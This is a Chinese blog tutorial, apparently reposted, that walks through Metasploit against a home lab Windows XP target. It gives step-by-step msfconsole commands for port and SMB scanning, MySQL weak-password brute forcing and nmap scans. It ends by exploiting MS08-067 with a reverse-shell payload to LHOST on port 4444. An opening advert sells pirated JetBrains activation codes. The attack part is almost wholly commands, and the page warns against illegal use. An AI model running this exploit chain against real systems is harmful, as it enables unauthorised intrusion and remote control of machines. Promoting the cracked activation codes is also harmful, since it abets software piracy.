大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
?生活总会难过?，?但好运也会如期而至?
????????????????????????
?目录：
?第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
?Msfconsole工具 概括：
???Msfconsole简称（msf）是一款常用的渗透测试工具，包含了常见的漏洞利用模块和生成各种木马，方便于安全测试人员的使用.
?免责声明：
严禁利用本文章中所提到的虚拟机和技术进行非法攻击，否则后果自负，上传者不承担任何责任。
?测试机：
kali2021 链接：https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg
提取码：tian
?靶场：
本地自己搭建的 Pikachu（皮卡丘）靶场：安装在win XP（IP地址：192.168.1.103）
Pikachu（皮卡丘）靶场搭建链接：Web安全 Pikachu（皮卡丘）靶场搭建._半个西瓜.的博客-CSDN博客
?Msfconsole的使用：
?打开Msfconsole工具：
msfconsole
?第一步：进行端口扫描.
?（1）查看端口扫描的模块：
search portscan
?（2）使用端口扫描模块：
use auxiliary/scanner/portscan/tcp
?（3）查看模块信息（模块里的yes都要填）：
show options
?（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
?（5）设置线程为100：
set threads 100
?（6）使用（执行）：run 或者 exploit
run
?（7）退出到msf ：
back
?第二步：进行服务的扫描.
?（1）查看smb_version服务模块：
search smb_version
?（2）使用服务模块：
use auxiliary/scanner/smb/smb_version 
?（3）查看模块信息（模块里的yes都要填）：
show options
?（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
?（5）设置线程为10：
set threads 10
?（6）使用（执行）：run或者exploit
run
?（7）退出到msf ：
back
?第三步：扫描3306（Mysql）端口的弱口令
?（1）查看扫描3306（Mysql）端口的弱口令模板信息：
search mysql_login
?（2）使用扫描3306（Mysql）端口的弱口令模块：
use auxiliary/scanner/mysql/mysql_login
?（3）查看模块信息（模块里的yes都要填）：
show options
?（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
?（5）设置线程为10：
set threads 10
?（6）使用（执行）：run或者exploit
run
?（7）退出到msf ：
back
?第四步：在msf模块里也可以使用nmap进行扫描.
?（1）主机发现：
nmap -sn 地址/24
?（2）端口扫描：
nmap -sS 地址
?（3）系统扫描：
nmap -O 地址
?（4）版本扫描：
nmap -sV 地址
?（5）综合扫描：
nmap -A 地址
?第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
?（1）启动 postgresql 数据库：
systemctl start postgresql.service
?（2）设置为开机自启：
systemctl enable postgresql
?（3）启动 Metasploit
msfconsole
?（4）搜索Win XP漏洞对应的模块.
search ms08_067
?（5）使用Win XP漏洞扫描模块.
use exploit/windows/smb/ms08_067_netapi
?（6）设置攻击载荷
set payload generic/shell_reverse_tcp
?（7）查看模块信息（模块里的yes都要填）.
show options
?（8）查看渗透攻击模块的攻击平台，找到操作系统平台版本
show targets 
?（9）设置操作系统（target）.
set target 34
?（10）设置目标IP.
set rhosts （目标IP地址）
?（11）设置本地IP
set LHOST 本地IP
?（12）设置端口：
set LPORT 4444
?（13）使用（执行）：run或者exploit
?（14）渗透测试成功.
?渗透测试失败的原因：
?（1）靶机开启了防火墙.
?（2）两台主机不能互联.（用 ping IP地址）
参考链接：使用MSF 利用 ms08_067 对 XP 进行渗透_丰梓林的博客-CSDN博客
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/196341.html原文链接：https://javaforall.net
